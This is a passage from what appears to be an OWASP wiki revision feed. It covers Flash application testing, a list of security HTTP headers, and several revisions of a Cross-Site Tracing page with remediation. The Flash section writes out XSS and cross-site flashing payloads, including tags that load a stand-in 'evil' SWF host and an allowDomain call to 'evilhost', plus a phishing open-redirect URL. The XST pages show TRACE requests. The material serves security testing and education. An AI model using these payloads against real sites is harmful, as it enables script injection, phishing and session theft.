<br />
tf.html = true<br />
tf.htmlText = '<tag>text</tag>'<br />
<br />
So if some part of text could be controlled by the tester, an A tag or an IMG tag could be <br />
injected resulting in modifying the GUI or XSS the browser.<br />
<br />
Some attack examples with A Tag:<br />
<br />
* Direct XSS: <a href='javascript:alert(123)' ><br />
<br />
* Call a function: <a href='asfunction:function,arg' ><br />
<br />
* Call SWF public functions: <br />
<a href='asfunction:_root.obj.function, arg'><br />
<br />
* Call native static as function:<br />
<a href='asfunction:System.Security.allowDomain,evilhost' ><br />
<br />
IMG tag could be used as well:<br />
<br />
<img src='http://evil/evil.swf' ><br />
<img src='javascript:evilcode//.swf' > (.swf is necessary to bypass flash player internal filter)<br />
<br />
Note: since release Flash Player 9.0.124.0 of Flash player XSS is no longer exploitable, but GUI modification could still <br />
be accomplished.<br />
<br />
=== Cross-Site Flashing ===<br />
<br />
Cross-Site Flashing (XSF) is a vulnerability which has a similar impact as XSS.<br />
<br />
XSF Occurs when from different domains:<br />
<br />
* One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it<br />
* XSF could also occurs when an HTML page uses JavaScript to command an Adobe Flash movie, for example, by calling:<br />
** GetVariable: access to flash public and static object from JavaScript as a string.<br />
** SetVariable: set a static or public flash object to a new string value from JavaScript. <br />
* Unexpected Browser to SWF communication could result in stealing data from the SWF application.<br />
<br />
It could be performed by forcing a flawed SWF to load an external evil flash file.<br />
<br />
This attack could result in XSS or in the modification of the GUI in order to fool a user to <br />
insert credentials on a fake flash form.<br />
<br />
XSF could be used in the presence of Flash HTML Injection or external SWF files when loadMovie*<br />
methods are used.<br />
<br />
=== Open redirectors ===<br />
<br />
SWFs have the capability to navigate the browser. If the SWF takes the destination in as a FlashVar, then the SWF may be used as an open redirector. An open redirector is any piece of website functionality on a trusted website that an attacker can use to redirect the end-user to a malicious website. These are frequently used within phishing attacks. Similar to cross-site scripting, the attack involves a user clicking on a malicious link. In the Flash case, the malicious URL might look like:<br />
<br />
<pre><br />
http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-spoofing-website.org/phishEndUsers.html<br />
</pre><br />
<br />
In the above example, an end-user might see the URL begins with their favorite trusted website and click on it. The link would load the trusted SWF which takes the getURLValue and provides it to an ActionScript browser navigation call:<br />
<br />
<pre><br />
getURL(_root.getURLValue,"_self");<br />
</pre><br />
<br />
This would navigate the browser to the malicious URL provided by the attacker. At this point, the phisher has successfully leveraged the trusted the user has in trusted.example.org to trick the user into their malicious website. From their, they could launch a 0-day, conduct spoofing of the original website, or any other type of attack. SWFs may unintentionally be acting as an open-redirector on the website.<br />
<br />
Developers should avoid taking full URLs as FlashVars. If they only plan to navigate within their own website, then they should use relative URLs or verify that the URL begins with a trusted domain and protocol.<br />
<br />
=== Attacks and Flash Player Version ===<br />
<br />
Since May 2007, three new versions of Flash player were released by Adobe.<br />
Every new version restricts some of the attacks previously described.<br />
<br />
<pre><br />
| Attack | asfunction | ExternalInterface | GetURL | Html Injection | <br />
| Player Version |<br />
| v9.0 r47/48 | Yes | Yes | Yes | Yes |<br />
| v9.0 r115 | No | Yes | Yes | Yes |<br />
| v9.0 r124 | No | Yes | Yes | Partially |<br />
</pre><br />
<br />
'''Result Expected:'''<br><br />
<br />
Cross-Site Scripting and Cross-Site Flashing are the expected results on a flawed SWF file.<br />
<br />
== References ==<br />
'''OWASP'''<br><br />
* OWASP Flash Security Project: The OWASP Flash Security project has even more references than what is listed below: http://www.owasp.org/index.php/Category:OWASP_Flash_Security_Project<br />
<br />
'''Whitepapers'''<br><br />
* Testing Flash Applications: A new attack vector for XSS and XSFlashing: http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt<br />
<br />
* Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt<br />
<br />
* Adobe security updates with Flash Player 9,0,124,0 to reduce cross-site attacks: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html<br />
<br />
* Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html<br />
<br />
* The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html<br />
<br />
* The Flash Player 10.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player10_security_wp.html<br />
<br />
'''Tools'''<br><br />
* Adobe SWF Investigator: http://labs.adobe.com/technologies/swfinvestigator/<br />
<br />
* SWFScan: http://h30499.www3.hp.com/t5/Following-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba-p/5440167<br />
<br />
* SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder<br />
<br />
* Decompiler – Flare: http://www.nowrap.de/flare.html<br />
<br />
* Compiler – MTASC: http://www.mtasc.org/<br />
<br />
* Disassembler – Flasm: http://flasm.sourceforge.net/<br />
<br />
* Swfmill – Convert Swf to XML and vice versa: http://swfmill.org/<br />
<br />
* Debugger Version of Flash Plugin/Player: http://www.adobe.com/support/flash/downloads.html</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=List_of_useful_HTTP_headers&diff=156031List of useful HTTP headers2013-07-25T17:58:10Z<p>Ryan Dewhurst: typo</p>
<hr />
<div>This page lists useful security-related HTTP headers. In most architectures these headers can be set in web server configuration ([http://httpd.apache.org/docs/2.0/mod/mod_headers.html Apache], [http://technet.microsoft.com/pl-pl/library/cc753133(v=ws.10).aspx IIS]), without changing actual application's code. This offers significantly faster and cheaper method for at least partial mitigation of existing issues, and an additional layer of defense for new applications.<br />
<br />
{| border="1"<br />
|-<br />
! Field name<br />
! Description<br />
! Example<br />
|-<br />
|[http://tools.ietf.org/html/rfc6797 Strict-Transport-Security]<br />
|Enforces secure (HTTP over SSL/TLS) connections to the server. This reduces impact of bugs in web applications leaking session data through cookies and external links.<br />
|<code>Strict-Transport-Security: max-age=16070400; includeSubDomains</code><br />
|-<br />
| [http://tools.ietf.org/html/draft-ietf-websec-x-frame-options-01 X-Frame-Options], [http://tools.ietf.org/html/draft-ietf-websec-frame-options-00 Frame-Options]<br />
| [[Clickjacking]] protection. Values: ''deny'' - no rendering within a frame, ''sameorigin'' - no rendering if origin mismatch, ''allow-from: URL'' - allow rendering frame if loaded from ''URL''<br />
| <code> X-Frame-Options: deny</code><br />
|-<br />
| [http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx X-XSS-Protection]<br />
| This header enables [[Cross-site scripting]] (XSS) filter built into most recent web browsers. It's usually enabled by default anyway, so role of this headers is to re-enable for this particular website if it was disabled by the user.<br />
| <code>X-XSS-Protection: 1; mode=block</code><br />
|-<br />
| [http://blogs.msdn.com/b/ie/archive/2008/09/02/ie8-security-part-vi-beta-2-update.aspx X-Content-Type-Options]<br />
| The only defined value, "nosniff", prevents Internet Explorer and Google Chrome from MIME-sniffing a response away from the declared content-type. This also applies to [http://code.google.com/chrome/extensions/hosting.html Google Chrome], when downloading extensions. This reduces exposure to drive-by download attacks and sites serving user uploaded content that, by clever naming, could be treated by MSIE as executable or dynamic HTML files.<br />
| <code> X-Content-Type-Options: nosniff </code><br />
|-<br />
|[http://www.w3.org/TR/CSP/ X-Content-Security-Policy, X-WebKit-CSP]<br />
|[[Content Security Policy]] definition. Requires careful tuning and precise definition of the policy. If enabled CSP has significant impact on the way browser renders pages (e.g. inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including [[Cross-site Scripting]] and other cross-site injections.<br />
|<code>X-WebKit-CSP: default-src 'self'</code><br />
|}<br />
<br />
<br />
==Real life examples==<br />
Below examples present selected HTTP headers as set by popular websites to demonstrate that they are indeed being used in production services:<br />
<br />
===Facebook===<br />
As of January 2013 [https://www.facebook.com/ Facebook] main page was setting these security related HTTP headers. <br />
<br />
'''Strict-Transport-Security:''' max-age=60<br />
'''X-Content-Type-Options:''' nosniff<br />
'''X-Frame-Options:''' DENY<br />
'''X-WebKit-CSP:''' <small>default-src *; script-src https://*.facebook.com<br />
http://*.facebook.com https://*.fbcdn.net http://*.fbcdn.net *.facebook.net<br />
*.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:*<br />
'unsafe-inline' 'unsafe-eval' https://*.akamaihd.net http://*.akamaihd.net;<br />
style-src * 'unsafe-inline'; connect-src https://*.facebook.com http://*.facebook.com<br />
https://*.fbcdn.net http://*.fbcdn.net *.facebook.net *.spotilocal.com:*<br />
https://*.akamaihd.net ws://*.facebook.com:* http://*.akamaihd.net;</small><br />
'''X-XSS-Protection:''' 1; mode=block<br />
<br />
Especially interesting is Facebook's use of [http://www.w3.org/TR/CSP/ Content Security Policy] (using Google Chrome syntax), whose implementation can be [http://www.html5rocks.com/en/tutorials/security/content-security-policy/ challenging] for large sites with heavy usage of JavaScript.<br />
<br />
===Google+===<br />
As of January 2013 [https://plus.google.com/ Google+] main page was setting these security related HTTP headers:<br />
<br />
'''x-content-type-options:''' nosniff<br />
'''x-frame-options:''' SAMEORIGIN<br />
'''x-xss-protection:''' 1; mode=block<br />
<br />
===Twitter===<br />
As of May 2013 [https://twitter.com/ Twitter] main page was setting these security related HTTP headers:<br />
<br />
'''strict-transport-security:''' max-age=631138519<br />
'''x-frame-options:''' SAMEORIGIN<br />
'''x-xss-protection:''' 1; mode=block</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=List_of_useful_HTTP_headers&diff=151885List of useful HTTP headers2013-05-19T13:22:09Z<p>Ryan Dewhurst: Added Twitter's security headers</p>
<hr />
<div>This page lists useful security-related HTTP headers. In most architectures these headers can be set in web server configuration ([http://httpd.apache.org/docs/2.0/mod/mod_headers.html Apache], [http://technet.microsoft.com/pl-pl/library/cc753133(v=ws.10).aspx IIS]), without changing actual application's code. This offers significantly faster and cheaper method for at least partial mitigation of existing issues, and an additional layer of defense for new applications.<br />
<br />
{| border="1"<br />
|-<br />
! Field name<br />
! Description<br />
! Example<br />
|-<br />
|[http://tools.ietf.org/html/rfc6797 Strict-Transport-Security]<br />
|Enforces secure (HTTP over SSL/TLS) connections to the server. This reduces impact of bugs in web applications leaking session data through cookies and external links.<br />
|<code>Strict-Transport-Security: max-age=16070400; includeSubDomains</code><br />
|-<br />
| [http://tools.ietf.org/html/draft-ietf-websec-x-frame-options-01 X-Frame-Options], [http://tools.ietf.org/html/draft-ietf-websec-frame-options-00 Frame-Options]<br />
| [[Clickjacking]] protection. Values: ''deny'' - no rendering within a frame, ''sameorigin'' - no rendering if origin mismatch, ''allow-from: URL'' - allow rendering frame if loaded from ''URL''<br />
| <code> X-Frame-Options: deny</code><br />
|-<br />
| [http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx X-XSS-Protection]<br />
| This header enables [[Cross-site scripting]] (XSS) filter built into most recent web browsers. It's usually enabled by default anyway, so role of this headers is to re-enable for this particular website if it was disabled by the user.<br />
| <code>X-XSS-Protection: 1; mode=block</code><br />
|-<br />
| [http://blogs.msdn.com/b/ie/archive/2008/09/02/ie8-security-part-vi-beta-2-update.aspx X-Content-Type-Options]<br />
| The only defined value, "nosniff", prevents Internet Explorer and Google Chrom from MIME-sniffing a response away from the declared content-type. This also applies to [http://code.google.com/chrome/extensions/hosting.html Google Chrome], when downloading extensions. This reduces exposure to drive-by download attacks and sites serving user uploaded content that, by clever naming, could be treated by MSIE as executable or dynamic HTML files.<br />
| <code> X-Content-Type-Options: nosniff </code><br />
|-<br />
|[http://www.w3.org/TR/CSP/ X-Content-Security-Policy, X-WebKit-CSP]<br />
|[[Content Security Policy]] definition. Requires careful tuning and precise definition of the policy. If enabled CSP has significant impact on the way browser renders pages (e.g. inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including [[Cross-site Scripting]] and other cross-site injections.<br />
|<code>X-WebKit-CSP: default-src 'self'</code><br />
|}<br />
<br />
<br />
==Real life examples==<br />
Below examples present selected HTTP headers as set by popular websites to demonstrate that they are indeed being used in production services:<br />
<br />
===Facebook===<br />
As of January 2013 [https://www.facebook.com/ Facebook] main page was setting these security related HTTP headers. <br />
<br />
'''Strict-Transport-Security:''' max-age=60<br />
'''X-Content-Type-Options:''' nosniff<br />
'''X-Frame-Options:''' DENY<br />
'''X-WebKit-CSP:''' <small>default-src *; script-src https://*.facebook.com<br />
http://*.facebook.com https://*.fbcdn.net http://*.fbcdn.net *.facebook.net<br />
*.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:*<br />
'unsafe-inline' 'unsafe-eval' https://*.akamaihd.net http://*.akamaihd.net;<br />
style-src * 'unsafe-inline'; connect-src https://*.facebook.com http://*.facebook.com<br />
https://*.fbcdn.net http://*.fbcdn.net *.facebook.net *.spotilocal.com:*<br />
https://*.akamaihd.net ws://*.facebook.com:* http://*.akamaihd.net;</small><br />
'''X-XSS-Protection:''' 1; mode=block<br />
<br />
Especially interesting is Facebook's use of [http://www.w3.org/TR/CSP/ Content Security Policy] (using Google Chrome syntax), whose implementation can be [http://www.html5rocks.com/en/tutorials/security/content-security-policy/ challenging] for large sites with heavy usage of JavaScript.<br />
<br />
===Google+===<br />
As of January 2013 [https://plus.google.com/ Google+] main page was setting these security related HTTP headers:<br />
<br />
'''x-content-type-options:''' nosniff<br />
'''x-frame-options:''' SAMEORIGIN<br />
'''x-xss-protection:''' 1; mode=block<br />
<br />
===Twitter===<br />
As of May 2013 [https://twitter.com/ Twitter] main page was setting these security related HTTP headers:<br />
<br />
'''strict-transport-security:''' max-age=631138519<br />
'''x-frame-options:''' SAMEORIGIN<br />
'''x-xss-protection:''' 1; mode=block</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Cross_Site_Tracing&diff=149064Cross Site Tracing2013-04-02T17:35:05Z<p>Ryan Dewhurst: Added TRACK method to description</p>
<hr />
<div>{{Template:Attack}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
A '''Cross-Site Tracing (XST)''' attack involves the use of [[Cross-site Scripting (XSS)]] and the TRACE or TRACK HTTP methods. According to [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html RFC 2616], "TRACE allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information.", the TRACK method works in the same way but is specific to Microsoft's IIS web server. XST could be used as a method to steal user's cookies via [[Cross-site Scripting (XSS)]] even if the cookie has the "[[HttpOnly]]" flag set and/or expose the user's Authorization header.<br />
<br />
The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [[HttpOnly]] tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as [[HttpOnly]] forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.<br />
<br />
Modern browsers now prevent TRACE requests being made via JavaScript, however, other ways of sending TRACE requests with browsers have been discovered, such as using Java.<br />
<br />
==Risk Factors==<br />
TBD<br />
<br />
==Examples==<br />
<br />
An example using cURL from the command line to send a TRACE request to a web server on the localhost with TRACE enabled. Notice how the web server responds with the request that was sent to it.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
</pre><br />
<br />
In this example notice how we send a Cookie header with the request and it is also in the web server's response.<br />
<br />
<pre><br />
$ curl -X TRACE -H "Cookie: name=value" 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
Cookie: name=value<br />
</pre><br />
<br />
In this example the TRACE method is disabled, notice how we get an error instead of the request we sent.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><br />
<html><head><br />
<title>405 Method Not Allowed</title><br />
</head><body><br />
<h1>Method Not Allowed</h1><br />
<p>The requested method TRACE is not allowed for the URL /.</p><br />
</body></html><br />
</pre><br />
<br />
Example JavaScript XMLHttpRequest TRACE request. In Firefox 19.0.2 it will not work and return a "Illegal Value" error. In Google Chrome 25.0.1364.172 it will not work and return a "Uncaught Error: SecurityError: DOM Exception 18" error. This is because modern browsers now block the TRACE method in XMLHttpRequest to help mitigate XST.<br />
<br />
<pre><br />
<script><br />
var xmlhttp = new XMLHttpRequest();<br />
var url = 'http://127.0.0.1/';<br />
<br />
xmlhttp.withCredentials = true; // send cookie header<br />
xmlhttp.open('TRACE', url, false);<br />
xmlhttp.send();<br />
</script><br />
</pre><br />
<br />
== Remediation ==<br />
<br />
===Apache===<br />
In Apache versions 1.3.34, 2.0.55 and later, set the TraceEnable directive to "off" in the main configuration file and then restart Apache. See [http://httpd.apache.org/docs/2.2/mod/core.html#traceenable TraceEnable] for further information.<br />
<br />
<pre><br />
TraceEnable off<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
* [[Threat Agent 1]]<br />
* [[Threat Agent 2]]<br />
TBD<br />
<br />
==Related [[Attacks]]==<br />
* [[Cross-site Scripting (XSS)]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
TBD<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Canonicalization]]<br />
<br />
==References ==<br />
* Cross-Site Tracing (XST): http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf<br />
* [[Testing for HTTP Methods and XST (OWASP-CM-008)]]<br />
* [http://osvdb.org/show/osvdb/877 OSVDB 877]<br />
* [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3398 CVE-2005-3398]<br />
* [http://seckb.yehg.net/2012/06/xss-gaining-access-to-httponly-cookie.html XSS: Gaining access to HttpOnly Cookie in 2012]<br />
* [https://bugzilla.mozilla.org/show_bug.cgi?id=302489 Mozilla Bug 302489]<br />
* [https://bugzilla.mozilla.org/show_bug.cgi?id=381264 Mozilla Bug 381264]<br />
<br />
[[Category:Attack]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Cross_Site_Tracing&diff=149060Cross Site Tracing2013-04-02T17:09:07Z<p>Ryan Dewhurst: Added info about Authorization header and Mozilla bug links</p>
<hr />
<div>{{Template:Attack}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
A '''Cross-Site Tracing (XST)''' attack involves the use of [[Cross-site Scripting (XSS)]] and the TRACE HTTP method. According to [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html RFC 2616], "TRACE allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information.". XST could be used as a method to steal user's cookies via [[Cross-site Scripting (XSS)]] even if the cookie has the "[[HttpOnly]]" flag set and/or expose the user's Authorization header.<br />
<br />
The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [[HttpOnly]] tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as [[HttpOnly]] forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.<br />
<br />
Modern browsers now prevent TRACE requests being made via JavaScript, however, other ways of sending TRACE requests with browsers have been discovered, such as using Java.<br />
<br />
==Risk Factors==<br />
TBD<br />
<br />
==Examples==<br />
<br />
An example using cURL from the command line to send a TRACE request to a web server on the localhost with TRACE enabled. Notice how the web server responds with the request that was sent to it.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
</pre><br />
<br />
In this example notice how we send a Cookie header with the request and it is also in the web server's response.<br />
<br />
<pre><br />
$ curl -X TRACE -H "Cookie: name=value" 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
Cookie: name=value<br />
</pre><br />
<br />
In this example the TRACE method is disabled, notice how we get an error instead of the request we sent.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><br />
<html><head><br />
<title>405 Method Not Allowed</title><br />
</head><body><br />
<h1>Method Not Allowed</h1><br />
<p>The requested method TRACE is not allowed for the URL /.</p><br />
</body></html><br />
</pre><br />
<br />
Example JavaScript XMLHttpRequest TRACE request. In Firefox 19.0.2 it will not work and return a "Illegal Value" error. In Google Chrome 25.0.1364.172 it will not work and return a "Uncaught Error: SecurityError: DOM Exception 18" error. This is because modern browsers now block the TRACE method in XMLHttpRequest to help mitigate XST.<br />
<br />
<pre><br />
<script><br />
var xmlhttp = new XMLHttpRequest();<br />
var url = 'http://127.0.0.1/';<br />
<br />
xmlhttp.withCredentials = true; // send cookie header<br />
xmlhttp.open('TRACE', url, false);<br />
xmlhttp.send();<br />
</script><br />
</pre><br />
<br />
== Remediation ==<br />
<br />
===Apache===<br />
In Apache versions 1.3.34, 2.0.55 and later, set the TraceEnable directive to "off" in the main configuration file and then restart Apache. See [http://httpd.apache.org/docs/2.2/mod/core.html#traceenable TraceEnable] for further information.<br />
<br />
<pre><br />
TraceEnable off<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
* [[Threat Agent 1]]<br />
* [[Threat Agent 2]]<br />
TBD<br />
<br />
==Related [[Attacks]]==<br />
* [[Cross-site Scripting (XSS)]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
TBD<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Canonicalization]]<br />
<br />
==References ==<br />
* Cross-Site Tracing (XST): http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf<br />
* [[Testing for HTTP Methods and XST (OWASP-CM-008)]]<br />
* [http://osvdb.org/show/osvdb/877 OSVDB 877]<br />
* [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3398 CVE-2005-3398]<br />
* [http://seckb.yehg.net/2012/06/xss-gaining-access-to-httponly-cookie.html XSS: Gaining access to HttpOnly Cookie in 2012]<br />
* [https://bugzilla.mozilla.org/show_bug.cgi?id=302489 Mozilla Bug 302489]<br />
* [https://bugzilla.mozilla.org/show_bug.cgi?id=381264 Mozilla Bug 381264]<br />
<br />
[[Category:Attack]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Talk:OWASP_Application_Security_FAQ&diff=148428Talk:OWASP Application Security FAQ2013-03-22T21:03:55Z<p>Ryan Dewhurst: added md5 hashing discussion</p>
<hr />
<div>I feel that this page/article should be renamed to "OWASP Application Security FAQ". The complete form is usually preferred in Wikipedia articles and it does make the page title more readable and probably more search engine friendly. --[[User:Varunvnair|Varunvnair]] 23:19, 2 July 2006 (EDT)<br />
<br />
== Need for more questions and answers ==<br />
<br />
I think more questions and answers should be included into the OWASP Application Security FAQ. This requires contribution from other readers. If an answer needs clarification, please mention it in 'Discussion'.<br />
<br />
== SSL Could Use a Refresh ==<br />
<br />
The "SSL" sections here are getting pretty dated. For example, there's no mention of "AES" or "SHA1" and the only mentioned symmetric key bit lengths are 40 and 128. ''[[User:Jlampe|Jlampe]] 09:35, 23 February 2009 (EST)''<br />
<br />
== MD5 Password Hashing ==<br />
<br />
The FAQ talks about hashing passwords with MD5. I believe bcrypt is the current accepted standard. ''[[User:Ryan Dewhurst|Ryan Dewhurst]] 22:02, 22 March 2013 (GMT)''</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Cross_Site_Tracing&diff=148410Cross Site Tracing2013-03-22T09:38:57Z<p>Ryan Dewhurst: Added info about modern browsers in description</p>
<hr />
<div>{{Template:Attack}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
A '''Cross-Site Tracing (XST)''' attack involves the use of [[Cross-site Scripting (XSS)]] and the TRACE HTTP method. According to [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html RFC 2616], "TRACE allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information.". XST could be used as a method to steal user's cookies via [[Cross-site Scripting (XSS)]] even if the cookie has the "[[HttpOnly]]" flag set.<br />
<br />
The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [[HttpOnly]] tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as [[HttpOnly]] forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.<br />
<br />
Modern browsers now prevent TRACE requests being made via JavaScript, however, other ways of sending TRACE requests with browsers have been discovered, such as using Java.<br />
<br />
==Risk Factors==<br />
TBD<br />
<br />
==Examples==<br />
<br />
An example using cURL from the command line to send a TRACE request to a web server on the localhost with TRACE enabled. Notice how the web server responds with the request that was sent to it.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
</pre><br />
<br />
In this example notice how we send a Cookie header with the request and it is also in the web server's response.<br />
<br />
<pre><br />
$ curl -X TRACE -H "Cookie: name=value" 127.0.0.1<br />
TRACE / HTTP/1.1<br />
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5<br />
Host: 127.0.0.1<br />
Accept: */*<br />
Cookie: name=value<br />
</pre><br />
<br />
In this example the TRACE method is disabled, notice how we get an error instead of the request we sent.<br />
<br />
<pre><br />
$ curl -X TRACE 127.0.0.1<br />
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><br />
<html><head><br />
<title>405 Method Not Allowed</title><br />
</head><body><br />
<h1>Method Not Allowed</h1><br />
<p>The requested method TRACE is not allowed for the URL /.</p><br />
</body></html><br />
</pre><br />
<br />
Example JavaScript XMLHttpRequest TRACE request. In Firefox 19.0.2 it will not work and return a "Illegal Value" error. In Google Chrome 25.0.1364.172 it will not work and return a "Uncaught Error: SecurityError: DOM Exception 18" error. This is because modern browsers now block the TRACE method in XMLHttpRequest to help mitigate XST.<br />
<br />
<pre><br />
<script><br />
var xmlhttp = new XMLHttpRequest();<br />
var url = 'http://127.0.0.1/';<br />
<br />
xmlhttp.withCredentials = true; // send cookie header<br />
xmlhttp.open('TRACE', url, false);<br />
xmlhttp.send();<br />
</script><br />
</pre><br />
<br />
== Remediation ==<br />
<br />
===Apache===<br />
In Apache versions 1.3.34, 2.0.55 and later, set the TraceEnable directive to "off" in the main configuration file and then restart Apache. See [http://httpd.apache.org/docs/2.2/mod/core.html#traceenable TraceEnable] for further information.<br />
<br />
<pre><br />
TraceEnable off<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
* [[Threat Agent 1]]<br />
* [[Threat Agent 2]]<br />
TBD<br />
<br />
==Related [[Attacks]]==<br />
* [[Cross-site Scripting (XSS)]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[Vulnerability 1]]<br />
* [[Vulnerabiltiy 2]]<br />
TBD<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Canonicalization]]<br />
<br />
==References ==<br />
* Cross-Site Tracing (XST): http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf<br />
* [[Testing for HTTP Methods and XST (OWASP-CM-008)]]<br />
* [http://osvdb.org/show/osvdb/877 OSVDB 877]<br />
* [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3398 CVE-2005-3398]<br />
* [http://seckb.yehg.net/2012/06/xss-gaining-access-to-httponly-cookie.html XSS: Gaining access to HttpOnly Cookie in 2012]<br />
<br />
<br />
